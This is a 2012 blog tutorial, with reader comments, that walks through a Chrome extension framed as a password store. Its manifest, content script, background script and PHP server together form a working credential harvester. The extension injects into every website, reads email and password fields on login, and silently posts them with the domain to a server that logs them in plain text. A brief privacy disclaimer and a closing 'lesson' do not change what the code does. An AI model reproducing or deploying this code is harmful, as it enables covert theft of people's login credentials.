Sunday, December 23, 2012

Creating a Google Chrome extension to store passwords

The Google Chrome provides the possibility to create applications (extensions) that can be executed on the browser. To start writing these kinds of applications, the developer page has a very good documentation about how to start and an overview about the extensions. This post aims to demonstrate a simple way to communicate with a server to store login attempts (with e-mail and password) on a file. The data to be stored will be retrieved from a known web page. It is possible to find many password storage applications that makes something similar on Chrome Web Store.


Important notice. The knowledge obtained here must be used consciously. Please, do not inflict the privacy rights of anyone.


Everything starts on the manifest.json file. It is the entry point that contains the information about the extension. For this sample the manifest contains the following information.

{
    "name": "<extension name>",
    "version": "1.0",
    "manifest_version": 2,
    "content_scripts": [
        {
            "matches": [
                "http://*/*",
                "https://*/*"
            ],
            "js": ["contentscript.js"]
        }
    ],
    "background": {
        "scripts": ["background.js"]
    },
    "permissions": [
        "http://*/*",
        "https://*/*"
    ],
    "description": "<extension description>"
}

Extensions code can be written using JavaScript. The files contentscript.js and background.js referred on the manifest contain the code of the extension and each one will be explained on this post.


At first, on this example the web page to save the password has a HTML Form like the following one. On this form, the label tag represents the login button.

<form id="login_form">
    <input type="text" id="email">
    <input type="password" id="pass">
    <label id="loginbutton">
        <input type="submit">
    </label>
</form>

One of the features of Chrome extensions is that it can have JavaScript code executed in the context of the web page. It is possible using content scripts. This feature is used on this sample by the contentscript.js file. The approach used here was to find the HTML Form and Label of the web page and add a listener to each one. It was made adding the following code to the contentscript.js file.

// function to be called by the login button click
function onLogin() {
    ...
}

// retrieve the login button and form elements of the page
var loginButton = document.getElementById("loginbutton");
var loginForm = document.getElementById("login_form");

// verify if the login button exists
if (loginButton) {    
    // add a click listener to the button
    loginButton.addEventListener("click", onLogin, false);
}

// verify if the login form exists
if (loginForm) {    
    // add a submit listener to the form
    loginForm.addEventListener("onSubmit", onLogin, false);
}

The next step is to implement the onLogin() function, that will be called when the user try to make a login. This function will extract the "email" and "pass" elements of the page. If the code is able to find these elements, it will create a content to be stored with the values.

function onLogin() {
    // retrieve the login and pass elements
    var mail = document.getElementById("email");
    var pass = document.getElementById("pass");
        
    // verify if the elements exist
    if (mail && pass) {        
        // create the content to be saved
        var content =
            "login attempt with " + mail.value +
            " and pass " + pass.value +
            " on the domain " + document.domain;
           
        // save the content
        saveContent(content);
    }
}

Note that was called a function saveContent(). This function will contain something like the code below.

function saveContent(content) {   
    chrome.extension.sendMessage(
        {greeting: content},
        function(response) {
            // silence
        }
    );
};

The saveContent() function receive the data and send it on a message. This message will be received on the background page, represented by the background.js file. The code on the background page that will receive the message is the following one.

// send a string value to be saved on server
function saveOnServer(content) {
    ...
};

// create a listener to the messages
// that come from the content script
chrome.extension.onMessage.addListener(
    function(request, sender, sendResponse) {
        // save the content on the server
        saveOnServer(request.greeting);
    }
);

The function saveOnServer() makes a POST HTTP request to the server in order to store the data. The server used here is a PHP one and the page that stores the content is http://localhost/sample/sample.php.

// send a string value to be saved on server
function saveOnServer(content) {
    var url = "http://localhost/sample/sample.php";
    var params = "content="+content;
        
    // create the XMLHttpRequest to send
    // the informations to server
    var http = new XMLHttpRequest();  
    http.open("POST", url, true);

    // send the proper header information
    http.setRequestHeader(
        "Content-type",
        "application/x-www-form-urlencoded"
    );

    // call the function when the state changes.
    http.onreadystatechange = function() {
        if(http.readyState == 4 && http.status == 200) {
            // it could be alert(http.responseText);
            // but silence
        }
    }

    // send the parameters
    http.send(params);
};

The HTTP request was made on the background page due to same origin policy. Then it uses the Cross-Origin XMLHttpRequest feature that allows an extension to access remote servers outside of its origin.


Another file used in this example is the sample.php that will be accessed on the XMLHttpRequest of the background page. The technology used on the server could be replaced by any other. The code of the sample.php file is represented below. The $filename represents where the file must be stored.

<?php
    $filename = 'C:\\sample\\sample.txt';
    $param = $_POST["content"];
    $content = " ----- " . $param . " ----- " . "\n";

    if (!$handle = fopen($filename, 'a')) {
         echo "cannot open file ($filename)";
         exit;
    }

    if (fwrite($handle, $content) === FALSE) {
        echo "cannot write to file ($filename)";
        exit;
    }

    echo "($content) writen on file ($filename)";

    fclose($handle);
?>

On this sample the password was stored in a server file without any kind of cryptography. This post brings a lesson. It shows that it is necessary to understand the risks of using a software that stores passwords. It is important to not rely on every software with this proposal. The informations here gives to a developer the support to create his own application and give him the control about the data that are being used. But of course, there are many other security things that the developer must take care while creating this kind of application.

3 comments:

  1. Plugin functions are of course being called from extensions Javascript code. So, through XSS one could exploit e.g. chrome extension manifest

    ReplyDelete
  2. This comment has been removed by a blog administrator.

    ReplyDelete
  3. Great post, thank you for sharing. I want to add one more tool to your collection: improver.io. It's my favorite Chrome extension for contact finding.find email from linkedin

    ReplyDelete